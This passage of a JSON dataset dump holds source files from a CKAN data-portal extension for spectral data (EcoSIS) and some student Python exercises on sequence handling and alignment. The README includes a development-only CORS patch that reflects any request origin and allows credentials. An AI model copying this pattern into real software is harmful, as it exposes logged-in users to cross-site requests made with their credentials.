: db[config.get(\"app:main\", \"ecosis.mongo.spectra_collection\")]\n }\n\n ckanFileStorage.init(config)\n init(schema, collections, pgConnStr, config.get(\"app:main\", \"ecosis.search_url\"), ckanFileStorage, config.get(\"app:main\", \"ecosis.workspace.root\"))\n\n workspace.clean()\n workspace.prepare('05cd4761-49ff-4f0d-9a6c-0a0adb223f69')\n\n result = workspaceQuery.get('05cd4761-49ff-4f0d-9a6c-0a0adb223f69')\n foo = 1\n\nif __name__ == \"__main__\":\n test()" }, { "alpha_fraction": 0.6556570529937744, "alphanum_fraction": 0.6697118878364563, "avg_line_length": 28.040817260742188, "blob_id": "a802d8026e0dd1d2f53cceb65d77e21453de26c1", "content_id": "8a4f5a1e28ef867af51fdd7808c5c72e6c19fda8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1423, "license_type": "no_license", "max_line_length": 197, "num_lines": 49, "path": "/README.md", "repo_name": "CSTARS/ckanext-ecosis", "src_encoding": "UTF-8", "text": "ckanext-ecosis\n============\n\nEcoSIS extension for CKAN adding resource controls for spectra\n\n## EcoSIS Tutorials\n\n[tutorial.ecospectra.org](http://tutorial.ecospectra.org)\n\n## CKAN 'IDE'\n\ninfo on pycharm package install can be found [here](http://ubuntuhandbook.org/index.php/2015/07/install-pycharm-ubuntu-1404/http://ubuntuhandbook.org/index.php/2015/07/install-pycharm-ubuntu-1404/)\n\n#### start pycharm\n```\n. /usr/lib/ckan/default/bin/activate\n# run ckan as root\n\nsudo pycharm-community\n```\n\n#### run setup\n```\nselect virtual env python as interpreter, then\n\nscript = /usr/lib/ckan/default/bin/paster\nscript paramters = --plugin=ckan serve /etc/ckan/default/development.ini\n```\n\n\n## Allow local cross-site auth (dev only)\nin ckan/lib/base.py\n```\n def _set_cors(self):\n- response.headers['Access-Control-Allow-Origin'] = \"*\"\n+ #response.headers['Access-Control-Allow-Origin'] = \"*\"\n+ if 'Origin' in request.headers:\n+ response.headers['Access-Control-Allow-Origin'] = request.headers['Origin']\n+ else:\n+ response.headers['Access-Control-Allow-Origin'] = \"*\"\n+\n response.headers['Access-Control-Allow-Methods'] = \\\n \"POST, PUT, GET, DELETE, OPTIONS\"\n response.headers['Access-Control-Allow-Headers'] = \\\n \"X-CKAN-API-KEY, Authorization, Content-Type\"\n\n+ response.headers['Access-Control-Allow-Credentials'] = \"true\"\n\n```\n" }, { "alpha_fraction": 0.634589433670044, "alphanum_fraction": 0.6358168721199036, "avg_line_length": 32.3934440612793, "blob_id": "4c0f12a0f8af44b6235a317968ba922c4a8e8324", "content_id": "df6770a0754ef5d2c245fe09e23cd84d65003ca7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8147, "license_type": "no_license", "max_line_length": 150, "num_lines": 244, "path": "/ckanext/ecosis/controller/package/__init__.py", "repo_name": "CSTARS/ckanext-ecosis", "src_encoding": "UTF-8", "text": "import json\nfrom flask import make_response\n\nimport ckanext.ecosis.lib.utils as utils\nfrom ckanext.ecosis.datastore import delete as deleteUtil\nfrom ckanext.ecosis.lib.auth import hasAccess\nfrom ckanext.ecosis.datastore import workspace\nfrom ckanext.ecosis.datastore.ckan import package\nfrom ckan.common import request\nfrom ckan.lib.base import c, model\nimport ckan.logic as logic\nfrom ckanext.ecosis.lib.utils import jsonStringify\nfrom ckanext.ecosis.lib.utils import setPackageExtra\nfrom ckan.lib.email_notifications import send_notification\nfrom ckan.common import config\nfrom .doi import handleDoiUpdate, hasAppliedDoi, getDoiStatus, DOI_STATUS, applyDoi\nfrom .doi import init as initDoi\nfrom ckanext.ecosis.lib.data_package_importer import DataPackageImporter\n\ncollections = None\nignoreTemplateVars = [\"metadata_modified\", \"state\", \"creator_user_id\", \"revision_id\", \"type\", \"url\",\"organization\"]\n\n'''\nMost of these functions will be called from the main __init__.py controller file.\n'''\n\n# inject global dependencies\ndef init(co, pgConn):\n global collections\n\n initDoi(pgConn)\n collections = co\n\n# remove a package\n# This will remove from CKAN as well as EcoSIS extension\ndef delete():\n response.headers[\"Content-Type\"] = \"application/json\"\n\n # grab package id from request\n params = {}\n try:\n params = utils.get_request_data(request)\n except:\n params = {'id': request.params.get('id')}\n\n if params.get('id') is None:\n raise Exception('No package_id provided')\n\n # make sure user has access to package\n hasAccess(params['id'])\n\n # make sure no DOI is applied\n if hasAppliedDoi(params['id']):\n return json.dumps({'error': True, 'message':'Cannot delete package with applied DOI'})\n\n # remove from CKAN\n context = {'model': model, 'user': c.user}\n logic.get_action('package_delete')(context, params)\n\n # remove from EcoSIS\n deleteUtil.package(params['id'])\n\n return json.dumps({'success': True})\n\n# update a package\n# makes sure update is valid does checking against DOI status\ndef update():\n response.headers[\"Content-Type\"] = \"application/json\"\n\n params = json.loads(request.body)\n\n hasAccess(params['id'])\n context = {'model': model, 'user': c.user}\n\n cpkg = logic.get_action('package_show')(context, {'id': params['id']})\n\n # check EcoSIS DOI status\n resp = handleDoiUpdate(cpkg, params)\n if resp.get('error') == True:\n resp['doiApplied'] = True\n return json.dumps(resp)\n\n pkg = logic.get_action('package_update')(context, params)\n\n doiStatus = getDoiStatus(pkg)\n if doiStatus.get('status').get('value') == DOI_STATUS[\"ACCEPTED\"]:\n applyDoi(pkg)\n\n if resp.get('email') is not None:\n pkg['doi_user_email'] = resp.get('email')\n pkg['doi_user_name'] = resp.get('user')\n\n\n return json.dumps(pkg)\n\n# create a package. notify admins\ndef after_create():\n # send email to the admin email group\n url = config.get('ckan.site_url')\n admin_email = config.get('ecosis.admin_email')\n\n if url != \"\" and url is not None:\n if admin_email != \"\" and admin_email is not None:\n try:\n send_notification(\n {\n \"email\" : admin_email,\n \"display_name\" : \"EcoSIS Admins\"\n },\n {\n \"subject\" : \"EcoSIS Dataset Created - %s\" % ckanPackage.get('title'),\n \"body\" : (\"The dataset '%s' has been created by %s/user/%s. \"\n \"You can view the dataset here: %s/dataset/%s\"\n \"\\n\\n-EcoSIS Server\") %\n (ckanPackage.get('title'), config.get('ckan.site_url'), c.user, config.get('ckan.site_url'), ckanPackage.get(\"name\"))\n }\n )\n except:\n print(\"Failed to send admin email\")\n\n# Once a DOI is applied, the update package function is disabled\n# this is a simple workaround service, for just upda\n# TODO: remove this, not required anymore, app should use normal package update\ndef updateLinkedResources():\n context = {'model': model, 'user': c.user}\n\n params = request.get_json()\n package_id = params.get('id')\n hasAccess(package_id)\n\n linkedResources = params.get('linkedResources')\n cpkg = logic.get_action('package_show')(context, {'id': package_id})\n\n setPackageExtra('LinkedData', json.dumps(linkedResources), cpkg)\n pkg = logic.get_action('package_update')(context, cpkg)\n\n return {'success': True}\n\ndef importPackage():\n context = {'model': model, 'user': c.user}\n\n package_uri = request.args.get('uri')\n if package_uri is None:\n raise Exception('uri parameter not provided')\n\n inst = DataPackageImporter(package_uri)\n newPkg = inst.run(context)\n\n headers = {\"Location\" : \"/import/?id=%s\" % newPkg.get('id')}\n return make_response((\"Redirecting\", 307, headers))\n\n# set a package to private\ndef setPrivate():\n response.headers[\"Content-Type\"] = \"application/json\"\n package_id = request.params.get('id')\n hasAccess(package_id)\n\n # can't set a package to private that has a DOI\n if hasAppliedDoi(package_id):\n return json.dumps({'error':True, 'message': 'Cannot modify package with applied DOI'})\n\n # Once a package is private, it should not be in EcoSIS search\n deleteUtil.cleanFromSearch(package_id)\n\n return json.dumps({'success': True})\n\n# create the reusable template for a package\ndef getTemplate():\n headers = {\n \"Content-Type\" : \"application/json\"\n }\n \n package_id = request.params.get('id')\n format = request.params.get('format')\n\n # are we only creating a properties alias template?\n mapOnly = request.params.get('mapOnly')\n\n # check access\n hasAccess(package_id)\n\n pkg = package.get(package_id)\n\n # clean out variables that should NOT be reused between templates\n for var in ignoreTemplateVars:\n if var in pkg:\n del pkg[var]\n\n # move the aliases to first order citizen\n extras = pkg.get(\"extras\")\n if extras != None and extras.get(\"aliases\") != None:\n pkg[\"aliases\"] = json.loads(extras[\"aliases\"])\n del extras[\"aliases\"]\n\n # resourceUpdateCount is only for keeping track of when resource files are\n # modified, does not need to be passed along.\n if extras != None:\n if extras.get(\"resourceUpdateCount\") is not None:\n del extras[\"resourceUpdateCount\"]\n\n # backward compatability with the old 'map' attribute. Used to be used instead of 'aliases'\n if pkg.get(\"aliases\") == None:\n wpkg = collections.get('package').find_one({\"packageId\": package_id},{\"map\": 1})\n if \"map\" in wpkg:\n pkg['aliases'] = wpkg['map']\n else:\n pkg['aliases'] = {}\n\n # are we downloading or are we sending as rest api call?\n if format != \"json\":\n headers[\"Content-Disposition\"] = \"attachment; filename=\\\"%s.json\\\"\" % pkg.get('name')\n\n # we are only interested in the aliases template\n if mapOnly:\n schema = package.getSchema()\n for key, s in schema.items():\n for item in s:\n if pkg['aliases'].get(item.get('name')) == None:\n pkg['aliases'][item.get('name')] = ''\n\n pkg = {\n 'aliases' : pkg['aliases']\n }\n\n return {\"body\": jsonStringify(pkg, formatted=True), \"headers\": headers}\n\n# if someone is trying to access the main CKAN package create screen, redirect to\n# EcoSIS spectra importer app.\ndef createPackageRedirect():\n group = request.params.get('group')\n headers = {}\n\n if group == None:\n headers[\"Location\"] = \"/import/\"\n else:\n headers[\"Location\"] = \"/import/?group=%s\" % group\n\n return make_response((\"Redirecting\", 307, headers))\n\n# if someone is trying to access the main CKAN package edit screen, redirect to\n# EcoSIS spectra importer app.\ndef editPackageRedirect(id):\n headers = {\"Location\" : \"/import/?id=%s\" % id.encode('ascii','ignore')}\n return make_response((\"Redirecting\", 307, headers))" }, { "alpha_fraction": 0.5757575631141663, "alphanum_fraction": 0.5757575631141663, "avg_line_length": 18.25, "blob_id": "e3e7e257b02bcdd494fe863e47d160d0f504f603", "content_id": "cac2734fbc1befef2758b47d69e56f3c231d8fa8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 231, "license_type": "no_license", "max_line_length": 45, "num_lines": 12, "path": "/spectra-importer/lib/logic/verify/name.js", "repo_name": "CSTARS/ckanext-ecosis", "src_encoding": "UTF-8", "text": "module.exports = function(SDK) {\n return function(name, callback) {\n\n SDK.ckan.getPackage(name, function(resp){\n if( resp.error ) {\n return callback(true);\n }\n\n callback(false);\n }.bind(this));\n };\n};\n" }, { "alpha_fraction": 0.603928804397583, "alphanum_fraction": 0.6050337553024292, "avg_line_length": 26.993127822875977, "blob_id": "24b583098bf888a3a7422101fd6ad39b3a550baf", "content_id": "2ddf8362a5a0158de67a23cc1c5aa660bd14ac4b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8145, "license_type": "no_license", "max_line_length": 173, "num_lines": 291, "path": "/ckanext/ecosis/controller/__init__.py", "repo_name": "CSTARS/ckanext-ecosis", "src_encoding": "UTF-8", "text": "import os, json\n\nfrom ckan.common import config\nimport ckan.lib.uploader as uploader\n# from ckan.controllers.package import PackageController\nfrom ckanext.ecosis.controller import git, admin, organization, package, resource, spectra, user\nfrom ckanext.ecosis.controller import workspace as workspaceController\nfrom ckanext.ecosis.lib.utils import handleError\nfrom ckanext.ecosis import datastore\nfrom ckanext.ecosis.datastore.mongo import collections\nfrom ckanext.ecosis.lib.utils import jsonStringify\n\nfrom flask import make_response\n\nusdaApiUrl = 'http://plants.usda.gov/java/AdvancedSearchServlet?symbol=&dsp_vernacular=on&dsp_category=on&dsp_genus=on&dsp_family=on&Synonyms=all&viewby=sciname&download=on'\n\npath = os.path.dirname(__file__)\nschema = os.path.join(path, \"../../../spectra-importer/utils/metadata/schema.json\")\n\npgConnStr = config.get(\"sqlalchemy.url\")\n\nwith open(schema) as schema_file:\n schema = json.load(schema_file)\n\nupload = uploader.ResourceUpload({})\n\ndatastore.init(schema, collections, pgConnStr, config.get(\"ecosis.search_url\"), upload, config.get(\"ecosis.workspace.root\"))\npackage.init(collections, pgConnStr)\norganization.init(collections)\n\nclass EcosisController():\n\n # def createPackage(self):\n # try:\n # return package.create()\n # except Exception as e:\n # return handleError(e)\n\n # def deletePackage(self):\n # try:\n # return package.delete()\n # except Exception as e:\n # return handleError(e)\n\n # def updatePackage(self):\n # try:\n # return package.update()\n # except Exception as e:\n # return handleError(e)\n\n def cleanTests(self):\n try:\n return admin.cleanTests()\n except Exception as e:\n return handleError(e)\n\n def clean(self):\n try:\n return admin.clean(collections)\n except Exception as e:\n return handleError(e)\n\n # def setPrivate(self):\n # try:\n # return package.setPrivate()\n # except Exception as e:\n # return handleError(e)\n\n def updateLinkedResources(self):\n try:\n return (package.updateLinkedResources())\n except Exception as e:\n return handleError(e)\n\n def importPackage(self):\n try:\n return package.importPackage()\n except Exception as e:\n return handleError(e)\n\n def getTemplate(self):\n try:\n content = package.getTemplate()\n return make_response((content['body'], 200, content['headers']))\n except Exception as e:\n return handleError(e)\n\n def createResource(self):\n try:\n return resource.create()\n except Exception as e:\n return handleError(e)\n\n # def deleteResource(self):\n # try:\n # return resp(resource.delete())\n # except Exception as e:\n # return handleError(e)\n\n def deleteResources(self):\n try:\n return resp(resource.deleteMany())\n except Exception as e:\n return handleError(e)\n\n def rebuildIndex(self):\n try:\n return resp(admin.rebuildIndex(collections))\n except Exception as e:\n return handleError(e)\n\n def upgrade(self):\n try:\n return admin.upgrade()\n except Exception as e:\n return handleError(e)\n\n def fixUnits(self):\n try:\n return admin.fixUnits()\n except Exception as e:\n return handleError(e)\n\n def fixCitations(self):\n try:\n return admin.fixCitationText()\n except Exception as e:\n return handleError(e)\n\n def doiQuery(self):\n try:\n return resp(package.doi.doiQuery())\n except Exception as e:\n return handleError(e)\n\n def clearDoi(self):\n try:\n return resp(package.doi.clearDoi())\n except Exception as e:\n return handleError(e)\n\n # TODO: verify ok to remove\n # def doiUpdateStatus(self):\n # try:\n # return package.doi.doiUpdateStatus()\n # except Exception as e:\n # return handleError(e)\n\n def verifyWorkspace(self):\n try:\n return resp(admin.verifyWorkspace(collections))\n except Exception as e:\n return handleError(e)\n\n def gitInfo(self):\n try:\n return resp(git.info())\n except Exception as e:\n return handleError(e)\n\n def userInfo(self):\n try:\n return resp(user.info())\n except Exception as e:\n return handleError(e)\n\n def remoteLogin(self):\n try:\n return resp(user.remote_login())\n except Exception as e:\n return handleError(e)\n\n def setGithubInfo(self):\n try:\n return resp(user.set_github_info())\n except Exception as e:\n return handleError(e)\n\n def getAllGithubInfo(self):\n try:\n return user.get_all_github_info()\n except Exception as e:\n return handleError(e)\n\n def createPackageRedirect(self):\n return package.createPackageRedirect()\n\n def editPackageRedirect(self, package_id):\n return package.editPackageRedirect(package_id)\n \n def editPackageRedirectWResource(self, package_id, resource_id):\n return package.editPackageRedirect(package_id)\n\n # def editPackageRedirect(self):\n # return package.editPackageRedirect()\n\n def rebuildUSDACollection(self):\n try:\n return admin.rebuildUSDACollection(collections, usdaApiUrl)\n except Exception as e:\n return handleError(e)\n\n def gcmdSuggest(self):\n try:\n return resp(spectra.suggestGCMD())\n except Exception as e:\n return handleError(e)\n\n def topSuggest(self):\n try:\n return resp(spectra.suggestAttributeName())\n except Exception as e:\n return handleError(e)\n\n def topOverview(self):\n try:\n return resp(spectra.suggestOverview())\n except Exception as e:\n return handleError(e)\n\n def prepareWorkspace(self):\n try:\n return resp(workspaceController.prepare())\n except Exception as e:\n return handleError(e)\n\n def cleanWorkspace(self):\n try:\n return workspaceController.clean()\n except Exception as e:\n return handleError(e)\n\n def getWorkspace(self):\n try:\n return resp(workspaceController.get())\n except Exception as e:\n return handleError(e)\n\n def processResource(self):\n try:\n return resp(resource.process())\n except Exception as e:\n return handleError(e)\n\n def getResource(self):\n try:\n return resp(resource.get())\n except Exception as e:\n return handleError(e)\n\n def getResourceByName(self, package_id, resource_name):\n try:\n return resource.getByName(package_id, resource_name)\n except Exception as e:\n return handleError(e)\n\n def getSpectra(self):\n try:\n return resp(spectra.get())\n except Exception as e:\n return handleError(e)\n\n def getSpectraCount(self):\n try:\n return resp(resource.getSpectraCount())\n except Exception as e:\n return handleError(e)\n\n def getMetadataChunk(self):\n try:\n return resp(resource.getMetadataChunk())\n except Exception as e:\n return handleError(e)\n\n def getMetadataInfo(self):\n try:\n return resp(resource.getMetadataInfo())\n except Exception as e:\n return handleError(e)\n\n def pushToSearch(self):\n try:\n return resp(workspaceController.pushToSearch())\n except Exception as e:\n return handleError(e)\n\ndef resp(msg, code=200, headers={}):\n if not isinstance(msg, str):\n msg = jsonStringify(msg)\n headers['Content-Type'] = 'application/json'\n return make_response((msg, 200, headers))" }, { "alpha_fraction": 0.6177199482917786, "alphanum_fraction": 0.6195786595344543, "avg_line_length": 27.839284896850586, "blob_id": "f2ab131312355f5f6a4ea0b05c79a14990c05288", "content_id": "162e4528075997224a7f5dc9a579d761bf74d813", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1614, "license_type": "no_license", "max_line_length": 72, "num_lines": 56, "path": "/ckanext/ecosis/datastore/query/workspace.py", "repo_name": "CSTARS/ckanext-ecosis", "src_encoding": "UTF-8", "text": "from ckanext.ecosis.datastore.ckan import resource as ckanResourceQuery\nfrom ckanext.ecosis.datastore.ckan import package as ckanPackageQuery\nimport ckan.lib.uploader as uploader\nimport os\n\ncollections = None\ngetResource = None\nisPushed = None\n\n# inject global dependencies\ndef init(co, fn, q):\n global collections, getResource, isPushed\n\n collections = co\n getResource = fn\n isPushed = q\n\n# get a workspace for a package\ndef get(package_id):\n # get all package resources\n resources = ckanResourceQuery.active(package_id)\n\n response = {\n \"package\" : collections.get(\"package\").find_one({\n \"packageId\": package_id,\n }, {\"runInfo\": 0, \"_id\": 0}),\n \"resources\" : [],\n \"ckan\" : {\n \"package\" : ckanPackageQuery.get(package_id),\n \"resources\" : resources\n },\n \"pushed\" : isPushed(package_id)\n }\n\n if response['package'] is None:\n response['package'] = {}\n\n # append information about the dataset resources to response\n for resource in resources:\n sheets = getResource(resource.get('id'))\n\n upload = uploader.ResourceUpload(resource)\n path = upload.get_path(resource['id'])\n if os.path.exists(path):\n resource['file_size'] = os.path.getsize(path)\n else:\n resource['file_size'] = 0\n\n for sheet in sheets:\n # we don't care about root excel files, only the sheets\n if sheet.get('excel') == True or sheet.get('isZip') == True:\n continue\n\n response.get('resources').append(sheet)\n\n return response" } ]
87
shryics/PRML
https://github.com/shryics/PRML
a511f6c2ef17ef055bba406a30bf318cf5a034ab
bb1b4be2b2600d9438df6d8ef9838fac73087ac9
f95d49092ba1b7608503c5f5788d5b7241d2a158
refs/heads/master
2020-03-08T21:27:08.356886
2018-04-09T08:51:40
2018-04-09T08:51:40
128,406,859
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.43664121627807617, "alphanum_fraction": 0.466412216424942, "avg_line_length": 20.47541046142578, "blob_id": "45beb4b24a0cc8a45afb6542a0bdd41669d0d1f2", "content_id": "199dafd9c59ca66cedc286d0e0a7bc8ea80537d7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1465, "license_type": "no_license", "max_line_length": 44, "num_lines": 61, "path": "/1-Introduction/1-Polynomial curve fitting.py", "repo_name": "shryics/PRML", "src_encoding": "UTF-8", "text": "import numpy as np\nimport matplotlib.pyplot as plt\nfrom tqdm import tqdm\n\nS = 50 # 刻みの回数\nP = 10 # データ点の数\nL = 3 # 項数\n\nx = np.linspace(0, 1, P) # 0 から 1 まで P個の点で刻む\ny = np.sin(2 * np.pi * x) # sin(2πx) 正解データ\nt = np.random.rand(P) / 10\nt += y # 人工データ(PRLLで言う所のt)\n\nE_w_min = 99999999\nw_opt = [0 for i in range(L)] # 最適時の重み\nw = [0 for i in range(L)] # 重み\n\nleft_val = - S/2 # stepの左端値\nstep = 1 # step幅\n\nNum = len(w)\ndef iterations():\n global Num, E_w_min, w_opt\n\n w[Num-1] = left_val\n for i in tqdm(range(S)):\n w[Num-1] += step\n if Num != 0:\n Num -= 1\n iterations()\n else:\n # optimize\n E_w = 0\n for j in range(P):\n sum = 0\n for k in range(L):\n sum += w[k] * x[j]**k\n E_w += (sum - t[j])**2\n E_w = E_w / 2.0\n # 最小化問題の重み更新\n if E_w < E_w_min:\n E_w_min = E_w\n for l in range(L):\n w_opt[l] = w[l]\n Num += 1\n return 0\n\niterations()\n\n# 回帰式\nfor k in range(L):\n Predict_part = w_opt[k] * x**k\n if k == 0:\n Predict = Predict_part\n else:\n Predict += Predict_part\n\nplt.plot(x, y) # sin(2πx)\nplt.plot(x, t, \"o\") # sin(2πx)に乱数を付与した点\nplt.plot(x, Predict) # 回帰式\nplt.show()\n" } ]
1
skyssssss/IBI1_2019-20
https://github.com/skyssssss/IBI1_2019-20
805e1638a3d82d8a26333c0e71758d24e7aeec97
2b9ac14551e4ca4d03ec423da6ded06b05d8c231
d6ad74b44cbb1d51aaf74dc50093d3555e1050ed
refs/heads/master
2021-04-17T08:34:35.231944
2020-08-15T09:09:54
2020-08-15T09:09:54
249,429,610
1
0
null
2020-03-23T12:50:48
2020-03-10T10:07:02
2020-03-10T10:07:00
null
[ { "alpha_fraction": 0.5027726292610168, "alphanum_fraction": 0.5563770532608032, "avg_line_length": 23.636363983154297, "blob_id": "1d6e485c5f56ad0e50d11f18bb69f15b6107a2c6", "content_id": "cd6a4d25ee4595f27fa3263b2138aaa9cfbc9e2b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 541, "license_type": "no_license", "max_line_length": 64, "num_lines": 22, "path": "/Practical8/get_pseudogenes.py", "repo_name": "skyssssss/IBI1_2019-20", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Aug 14 08:49:14 2020\n\n@author: skysblues\n\"\"\"\nxlen = 0\nline2 = ''\nimport re\nxfile = open('Saccharomyces_cerevisiae.R64-1-1.cdna.all.fa','r')\nfout = open('pseudogenes.fa','w')\nfor line in xfile:\n if line.startswith ('>'):\n line0 = str(line)\n line1 = re.findall('gene:[^ ]+? ', line0)\n line1_1 = str (line1) + '\\n'\n fout.write (line1_1)\n line2 = 'genelengh:'+ str(len(line)) + '\\n'\n fout.write (line2)\n else:\n xlen = xlen + len(line)\nfout.close()" }, { "alpha_fraction": 0.47289156913757324, "alphanum_fraction": 0.5512048006057739, "avg_line_length": 12.279999732971191, "blob_id": "d575de9ed37dc80b33566a667e48b24ea1864b1c", "content_id": "3034a12f2a20244a2f4592124d68cf2b8cc5c66f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 332, "license_type": "no_license", "max_line_length": 35, "num_lines": 25, "path": "/Practical5/variables.py", "repo_name": "skyssssss/IBI1_2019-20", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Aug 14 00:31:43 2020\n\n@author: skysblues\n\"\"\"\na=5673\nb=151100\nc=a*3\nd=b/10\nif c == d:\n print(\"c is equal to d\")\nelif c < d:\n print(\"d is bigger than c\")\nelse:\n print(\"c is bigger than d\")\n\nX = True\nY = True\nif X != Y:\n Z = False\nelif X == True:\n Z = True\nelse:\n Z = False\n" }, { "alpha_fraction": 0.4027026891708374, "alphanum_fraction": 0.4648648500442505, "avg_line_length": 18.473684310913086, "blob_id": "d44163b35e79f0320e90bea7e183878911cd2322", "content_id": "429940c215361630c3de8f357a6c1cfb155f953c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 370, "license_type": "no_license", "max_line_length": 35, "num_lines": 19, "path": "/Practical8/DNA_to_RNA.py", "repo_name": "skyssssss/IBI1_2019-20", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Aug 14 08:19:04 2020\n\n@author: skysblues\n\"\"\"\nseq2 = ('')\nseq = ('ATGCGACTACGATCGAGGGCCAT')\nfor i in range(len(seq)):\n if seq[i] == 'A':\n seq2 = seq2 + 'A'\n if seq[i] == 'C':\n seq2 = seq2 + 'C'\n if seq[i] == 'T':\n seq2 = seq2 + 'U'\n if seq[i] == 'G':\n seq2 = seq2 + 'G'\n \nprint (seq2)\n" }, { "alpha_fraction": 0.5886926054954529, "alphanum_fraction": 0.6183745861053467, "avg_line_length": 27.595958709716797, "blob_id": "37439d3498916c9f12ed527c8f0b2d9884447b99", "content_id": "07147daab24e94025edf3961dd49ebf1c7f21f6a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2830, "license_type": "no_license", "max_line_length": 179, "num_lines": 99, "path": "/Practical10/Alignment.py", "repo_name": "skyssssss/IBI1_2019-20", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Aug 15 10:15:51 2020\n\n@author: skysblues\n\"\"\"\n\nimport numpy as np\nhumanseq_file = open('SOD2_human.fa')\nmouseseq_file = open('SOD2_mouse.fa')\nrandomseq_file = open('RandomSeq.fa')\nseq1={'A':0, 'R':1, 'N':2, 'D':3, 'C':4, 'Q':5, 'E':6, 'G':7, 'H':8, 'I':9, 'L':10, 'K':11, 'M':12, 'F':13, 'P':14, 'S':15, 'T':16, 'W':17, 'Y':18, 'V':19, 'B':20, 'Z':21, 'X':22}\nhumanseq = ''\nmouseseq = ''\nrandomseq = ''\nhumanseq_name = ''\nmouseseq_name = ''\nrandomseq_name = ''\nblosum = np.loadtxt('BLOSUM62.txt')\nfor line in humanseq_file:\n if not line.startswith ('>'): \n humanseq = humanseq + str(line.strip('\\n'))\n else:\n humanseq_name = str(line.strip('>'))\n#read humanseq_file\n\nfor line in mouseseq_file:\n if not line.startswith ('>'): \n mouseseq = mouseseq + str(line.strip('\\n'))\n else:\n mouseseq_name = str(line.strip('>'))\n#read mouseseq_file\n\nfor line in randomseq_file:\n if not line.startswith ('>'): \n randomseq = randomseq + str(line.strip('\\n'))\n else:\n randomseq_name = str(line.strip('>'))\n#read randomseq_file\n\nprint('Name:'+ humanseq_name)\nprint('Sequence:' + humanseq + '\\n')\nprint('Name:'+ mouseseq_name)\nprint('Sequence:' + mouseseq + '\\n')\nedit_distance = 0\nsimilarity_of_seq = 0\t\nfor i in range(len(humanseq)):\t\n if humanseq[i]!=mouseseq[i]: \t\n edit_distance += 1\nsimilarity_of_seq = (1- edit_distance / len(humanseq)) * 100\nprint ('Similarity:'+str(similarity_of_seq)+'%')\n#print similarity\n\nscore = 0\nfor i in range(len(humanseq)):\n score = score + blosum[seq1[humanseq[i]],seq1[mouseseq[i]]]\nprint('Score:'+str(score))\nprint('\\n\\n\\n')\n#print score\n\nprint('Name:'+ humanseq_name)\nprint('Sequence:' + humanseq + '\\n')\nprint('Name:'+ randomseq_name)\nprint('Sequence:' + randomseq + '\\n')\nedit_distance = 0\nsimilarity_of_seq = 0\t\nfor i in range(len(humanseq)):\t\n if humanseq[i]!=randomseq[i]: \t\n edit_distance += 1\nsimilarity_of_seq = (1- edit_distance / len(humanseq)) * 100\nprint ('Similarity:'+str(similarity_of_seq)+'%')\n#print similarity\n\nscore = 0\nfor i in range(len(humanseq)):\n score = score + blosum[seq1[humanseq[i]],seq1[randomseq[i]]]\nprint('Score:'+str(score))\nprint('\\n\\n\\n')\n#print score\n\nprint('Name:'+ mouseseq_name)\nprint('Sequence:' + mouseseq + '\\n')\nprint('Name:'+ randomseq_name)\nprint('Sequence:' + randomseq + '\\n')\nedit_distance = 0\nsimilarity_of_seq = 0\t\nfor i in range(len(mouseseq)):\t\n if mouseseq[i]!=randomseq[i]: \t\n edit_distance += 1\nsimilarity_of_seq = (1- edit_distance / len(mouseseq)) * 100\nprint ('Similarity:'+str(similarity_of_seq)+'%')\n#print similarity\n\nscore = 0\nfor i in range(len(mouseseq)):\n score = score + blosum[seq1[mouseseq[i]],seq1[randomseq[i]]]\nprint('Score:'+str(score))\nprint('\\n\\n\\n')\n#print score" }, { "alpha_fraction": 0.6015625, "alphanum_fraction": 0.6328125, "avg_line_length": 20.33333396911621, "blob_id": "8d4b2250c7909e6a0baac4fe0ad73050d6f0d2bd", "content_id": "47eeb1ddca9ebacbf187f92c9d95f4b627631922", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 512, "license_type": "no_license", "max_line_length": 67, "num_lines": 24, "path": "/Practical5/mystery_code.py", "repo_name": "skyssssss/IBI1_2019-20", "src_encoding": "UTF-8", "text": "# What does this piece of code do?\n# Answer: This piece of code is to ouput a prime number n.\n\n# Import libraries\n# randint allows drawing a random number, \n# e.g. randint(1,5) draws a number between 1 and 5\nfrom random import randint\n\n# ceil takes the ceiling of a number, i.e. the next higher integer.\n# e.g. ceil(4.2)=5\nfrom math import ceil\n\np=False\nwhile p==False:\n p=True\n n = randint(1,100)\n u = ceil(n**(0.5))\n for i in range(2,u+1):\n if n%i == 0:\n p=False\n\n\n \nprint(n)\n" } ]
5
chill2711/Client-Socket-Communication--Python
https://github.com/chill2711/Client-Socket-Communication--Python
0a8ecaefbd654d14ccff495d19262c6c2b424feb
a78187ea168796fd851d7b463088c866d68e2df9
0a48f45b18daf95db2abd5199e80f941679286b4
refs/heads/main
2023-08-26T17:15:46.505674
2021-10-16T18:33:28
2021-10-16T18:33:28
417,914,837
0
0
null
null
null
null
null
